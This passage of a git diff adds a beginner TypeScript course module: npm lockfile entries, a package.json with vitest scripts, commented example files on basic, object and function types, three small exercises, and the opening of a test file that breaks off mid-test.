"sha512-ydozWyQ4LZuu8rLp47xFUWis5VOKMdHjXCWhs1LuJsTNKww+pTHQNK4e0assIB9K80TxFyskENL6vCu3j34EYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.0.13", + "tinyrainbow": "^3.0.3" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/acorn": { + "version": "8.15.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.3.4", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.4.tgz", + "integrity": "sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.11.0" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/arg": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", + "dev": true, + "license": "MIT" + }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/chai": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.1.tgz", + "integrity": "sha512-p4Z49OGG5W/WBCPSS/dH3jQ73kD6tiMmUM+bckNK6Jr5JHMG3k9bg/BvKR8lKmtVBKmOiuVaV2ws8s9oSbwysg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/es-module-lexer": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", + "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==", + "dev": true, + "license": "MIT" + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/expect-type": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.2.2.tgz", + "integrity": "sha512-JhFGDVJ7tmDJItKhYgJCGLOWjuK9vPxiXoUFLwLDc99NlmklilbiQJwoctZtt13+xMw91MCk/REan6MWHqDjyA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/make-error": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", + "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", + "dev": true, + "license": "ISC" + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/postcss": { + "version": "8.5.6", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/rollup": { + "version": "4.53.3", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.53.3.tgz", + "integrity": "sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.53.3", + "@rollup/rollup-android-arm64": "4.53.3", + "@rollup/rollup-darwin-arm64": "4.53.3", + "@rollup/rollup-darwin-x64": "4.53.3", + "@rollup/rollup-freebsd-arm64": "4.53.3", + "@rollup/rollup-freebsd-x64": "4.53.3", + "@rollup/rollup-linux-arm-gnueabihf": "4.53.3", + "@rollup/rollup-linux-arm-musleabihf": "4.53.3", + "@rollup/rollup-linux-arm64-gnu": "4.53.3", + "@rollup/rollup-linux-arm64-musl": "4.53.3", + "@rollup/rollup-linux-loong64-gnu": "4.53.3", + "@rollup/rollup-linux-ppc64-gnu": "4.53.3", + "@rollup/rollup-linux-riscv64-gnu": "4.53.3", + "@rollup/rollup-linux-riscv64-musl": "4.53.3", + "@rollup/rollup-linux-s390x-gnu": "4.53.3", + "@rollup/rollup-linux-x64-gnu": "4.53.3", + "@rollup/rollup-linux-x64-musl": "4.53.3", + "@rollup/rollup-openharmony-arm64": "4.53.3", + "@rollup/rollup-win32-arm64-msvc": "4.53.3", + "@rollup/rollup-win32-ia32-msvc": "4.53.3", + "@rollup/rollup-win32-x64-gnu": "4.53.3", + "@rollup/rollup-win32-x64-msvc": "4.53.3", + "fsevents": "~2.3.2" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/std-env": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz", + "integrity": "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyglobby": { + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyrainbow": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.0.3.tgz", + "integrity": "sha512-PSkbLUoxOFRzJYjjxHJt9xro7D+iilgMX/C9lawzVuYiIdcihh9DXmVibBe8lmcFrRi/VzlPjBxbN7rH24q8/Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/ts-node": { + "version": "10.9.2", + "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-10.9.2.tgz", + "integrity": "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cspotcode/source-map-support": "^0.8.0", + "@tsconfig/node10": "^1.0.7", + "@tsconfig/node12": "^1.0.7", + "@tsconfig/node14": "^1.0.0", + "@tsconfig/node16": "^1.0.2", + "acorn": "^8.4.1", + "acorn-walk": "^8.1.1", + "arg": "^4.1.0", + "create-require": "^1.1.0", + "diff": "^4.0.1", + "make-error": "^1.1.1", + "v8-compile-cache-lib": "^3.0.1", + "yn": "3.1.1" + }, + "bin": { + "ts-node": "dist/bin.js", + "ts-node-cwd": "dist/bin-cwd.js", + "ts-node-esm": "dist/bin-esm.js", + "ts-node-script": "dist/bin-script.js", + "ts-node-transpile-only": "dist/bin-transpile.js", + "ts-script": "dist/bin-script-deprecated.js" + }, + "peerDependencies": { + "@swc/core": ">=1.2.50", + "@swc/wasm": ">=1.2.50", + "@types/node": "*", + "typescript": ">=2.7" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "@swc/wasm": { + "optional": true + } + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "peer": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/undici-types": { + "version": "7.14.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.14.0.tgz", + "integrity": "sha512-QQiYxHuyZ9gQUIrmPo3IA+hUl4KYk8uSA7cHrcKd/l3p1OTpZcM0Tbp9x7FAtXdAYhlasd60ncPpgu6ihG6TOA==", + "dev": true, + "license": "MIT" + }, + "node_modules/v8-compile-cache-lib": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", + "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==", + "dev": true, + "license": "MIT" + }, + "node_modules/vite": { + "version": "7.2.4", + "resolved": "https://registry.npmjs.org/vite/-/vite-7.2.4.tgz", + "integrity": "sha512-NL8jTlbo0Tn4dUEXEsUg8KeyG/Lkmc4Fnzb8JXN/Ykm9G4HNImjtABMJgkQoVjOBN/j2WAwDTRytdqJbZsah7w==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "esbuild": "^0.25.0", + "fdir": "^6.5.0", + "picomatch": "^4.0.3", + "postcss": "^8.5.6", + "rollup": "^4.43.0", + "tinyglobby": "^0.2.15" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "lightningcss": "^1.21.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vitest": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.0.13.tgz", + "integrity": "sha512-QSD4I0fN6uZQfftryIXuqvqgBxTvJ3ZNkF6RWECd82YGAYAfhcppBLFXzXJHQAAhVFyYEuFTrq6h0hQqjB7jIQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "4.0.13", + "@vitest/mocker": "4.0.13", + "@vitest/pretty-format": "4.0.13", + "@vitest/runner": "4.0.13", + "@vitest/snapshot": "4.0.13", + "@vitest/spy": "4.0.13", + "@vitest/utils": "4.0.13", + "debug": "^4.4.3", + "es-module-lexer": "^1.7.0", + "expect-type": "^1.2.2", + "magic-string": "^0.30.21", + "pathe": "^2.0.3", + "picomatch": "^4.0.3", + "std-env": "^3.10.0", + "tinybench": "^2.9.0", + "tinyexec": "^0.3.2", + "tinyglobby": "^0.2.15", + "tinyrainbow": "^3.0.3", + "vite": "^6.0.0 || ^7.0.0", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@opentelemetry/api": "^1.9.0", + "@types/debug": "^4.1.12", + "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", + "@vitest/browser-playwright": "4.0.13", + "@vitest/browser-preview": "4.0.13", + "@vitest/browser-webdriverio": "4.0.13", + "@vitest/ui": "4.0.13", + "happy-dom": "*", + "jsdom": "*" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@types/debug": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser-playwright": { + "optional": true + }, + "@vitest/browser-preview": { + "optional": true + }, + "@vitest/browser-webdriverio": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + } + } + }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yn": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", + "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + } + } +} diff --git a/introduction-to-typescript/package.json b/introduction-to-typescript/package.json new file mode 100644 index 00000000..c32cd310 --- /dev/null +++ b/introduction-to-typescript/package.json @@ -0,0 +1,13 @@ +{ + "scripts": { + "test": "vitest src/tests", + "test-exercise1": "vitest src/tests/exercise1.test.ts", + "test-exercise2": "vitest src/tests/exercise2.test.ts --typecheck.config tsconfig.exercise2.json", + "test-exercise3": "vitest src/tests/exercise3.test.ts" + }, + "devDependencies": { + "ts-node": "10.9.2", + "typescript": "5.9.3", + "vitest": "4.0.13" + } +} \ No newline at end of file diff --git a/introduction-to-typescript/src/examples/1_basicTypes.ts b/introduction-to-typescript/src/examples/1_basicTypes.ts new file mode 100644 index 00000000..3d34f82e --- /dev/null +++ b/introduction-to-typescript/src/examples/1_basicTypes.ts @@ -0,0 +1,29 @@ +let name1 = "Morgan"; // implicitly type string +let name2: string = "Morgan"; // explicitly type string +const name4 = "Morgan"; // implicitly typed to the literal string "Samuel" +const name3: string = "Morgan"; // explicitly type string + +let age1 = 40; // implicitly type number +let age2: number = 40; // explicitly type number +const age3 = 40; // implicitly typed to the literal number 40 +const age4: number = 40; // explicitly type number + +let isFriendly = true; // implicitly type boolean +let isAngry: boolean = true; // explicitly type boolean +const isOpen = true; // implicitly typed to the literal boolean true +const isClosed: boolean = true; // explicitly type boolean + +let anything1; // implicitly type any +let anything2: any; // explicitly type any +let anything3: unknown; // explicitly type unknown + +let nothing1 = undefined; // implicitly type undefined +let nothing2: undefined = undefined; // explicitly type undefined +let nothing3 = null; // implicitly type null +let nothing4: null = null; // explicitly type null + +let numberSet1 = [1, 2, 3]; // implicitly type number[] +let numberSet2: number[] = [1, 2, 3]; // explicitly type number[] + +// Ignore this export. Something must be exported for TypeScript to not treat the above types as global definitions. +export {}; diff --git a/introduction-to-typescript/src/examples/2_objectTypes.ts b/introduction-to-typescript/src/examples/2_objectTypes.ts new file mode 100644 index 00000000..eb8af1c1 --- /dev/null +++ b/introduction-to-typescript/src/examples/2_objectTypes.ts @@ -0,0 +1,29 @@ +// A type that can be applied to an object +type User = { + id: number; + firstName: string; + lastName: string; +}; + +// An object with the explicit type User +const myUser1: User = { + id: 5, + firstName: "Morgan", + lastName: "Freeman", +}; + +// A type with more nuanced attributes +type ComplicatedUser = { + id: number | string; // id is either a number OR a string. This is technically valid but this variance is likely to cause confusion and should usually be avoided. + firstName?: string; // firstName is optional, meaning it'll either be a string or undefined + lastName?: string; // lastName is optional, meaning it'll either be a string or undefined +}; + +// An object with the explicit type ComplicatedUser +const myUser3: ComplicatedUser = { + id: "user-1", + lastName: "Freeman", +}; + +// Ignore this export. Something must be exported for TypeScript to not treat the above types as global definitions. +export {}; diff --git a/introduction-to-typescript/src/examples/3_functionTypes.ts b/introduction-to-typescript/src/examples/3_functionTypes.ts new file mode 100644 index 00000000..659f1712 --- /dev/null +++ b/introduction-to-typescript/src/examples/3_functionTypes.ts @@ -0,0 +1,57 @@ +type User = { + id: number; + firstName: string; + lastName: string; +}; + +const users: User[] = [ + { + id: 1, + firstName: "Morgan", + lastName: "Freeman", + }, + { + id: 2, + firstName: "Danny", + lastName: "DeVito", + }, +]; + +// A function that takes a parameter userId of type number and returns an object of type User +function fetchUserExample1(userId: number): User { + return users[userId]; +} + +// An arrow function that takes a parameter userId of type number and returns an object of type User +const fetchUserExample2 = (userId: number): User => { + return users[userId]; +}; + +// A function type that takes a parameter userId of type number and returns an object of type User +type FetchUser = (userId: number) => User; + +// An arrow function of type FetchUser +const fetchUserExample3: FetchUser = (userId) => { + return users[userId]; +}; + +// An arrow function of type FetchUser receiving the incorrect parameter type. Removing @ts-ignore below will reveal a type error +// @ts-ignore +const fetchUserExample4: FetchUser = (userId: string) => { + return users[userId]; +}; + +type Callbacks = { + fetchUserExample1: FetchUser; + fetchUserExample2: FetchUser; + fetchUserExample3: FetchUser; +}; + +const callbacks: Callbacks = { + fetchUserExample1, + fetchUserExample2, + fetchUserExample3, +}; + +// Ignore this export. Something must be exported for TypeScript to not treat the above definitions as global definitions. +export {}; diff --git a/introduction-to-typescript/src/exercise1.ts b/introduction-to-typescript/src/exercise1.ts new file mode 100644 index 00000000..a5b4b6e8 --- /dev/null +++ b/introduction-to-typescript/src/exercise1.ts @@ -0,0 +1,23 @@ +type Course = "ITD" | "ITP" | "Piscine" | "SDC"; + +type User = { + id: number; + name: string; + age: number; + isTrainee: boolean; + completedCourses: Course[]; + address?: string; +}; + +/** createUser is intended to create and return an object of type User but hasn't been completed. Your job is to update createUser to always return a User. + * What is important is that the return type is a User. The actual values are irrelevant as long as createUser is returning something of type User. + * The tests already expect createUser to do this so pay attention to what the tests are expecting and address those problems. + * You are welcome to edit the parameters, the return value, or any other part of createUser. Do not edit the type User or the tests. + * */ +const createUser = () => { + return {}; +}; + +export { createUser }; + +// To test your solution, run `npm run test-exercise1` diff --git a/introduction-to-typescript/src/exercise2.ts b/introduction-to-typescript/src/exercise2.ts new file mode 100644 index 00000000..3cc36d88 --- /dev/null +++ b/introduction-to-typescript/src/exercise2.ts @@ -0,0 +1,7 @@ +/** Your goal for this exercise is to add reasonable types to this function. The failing tests can guide you towards an expected result. */ + +export const addTwoNumbers = (a, b) => { + return a + b; +}; + +// To test your solution, run `npm run test-exercise2` diff --git a/introduction-to-typescript/src/exercise3.ts b/introduction-to-typescript/src/exercise3.ts new file mode 100644 index 00000000..6ab3b801 --- /dev/null +++ b/introduction-to-typescript/src/exercise3.ts @@ -0,0 +1,20 @@ +/** Your goal for this exercise is to reasonably handle the type of an error appearing within a try catch block. + * You'll notice that error.message is reporting a typescript error. There are a number of ways that you could address this typescript error. + * You are welcome to research online to explore your options. Be sure to have reasoning for the solution you've chosen. + * When ready, ask a volunteer for feedback on your solution. + * + * There is a test file for this exercise but it will only confirm that the function still works at runtime. + * npm run test-exercise3 + */ +export const tryCatchDemo = (state: "fail" | "succeed") => { + try { + if (state === "succeed") { + return "No errors!"; + } + if (state === "fail") { + throw new Error("Failure!"); + } + } catch (error) { + return error.message; + } +}; diff --git a/introduction-to-typescript/src/tests/exercise1.test.ts b/introduction-to-typescript/src/tests/exercise1.test.ts new file mode 100644 index 00000000..41c2c21d --- /dev/null +++ b/introduction-to-typescript/src/tests/exercise1.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it } from "vitest"; +import { createUser } from "../exercise1"; + +/** Do not change the tests below. All tests can be made to pass by editing the exercise1.ts file instead */ +describe("createUser returns a valid user", () => { + const user = createUser(); + + it("has an id of type number", () => { + // @ts-expect-error + expect(user.id).toBeTypeOf("number"); + }); + + it("has a name of type string", () => { + // @ts-expect-error + expect(user.name).toBeTypeOf("string"); + }); + it("has an age of type number", 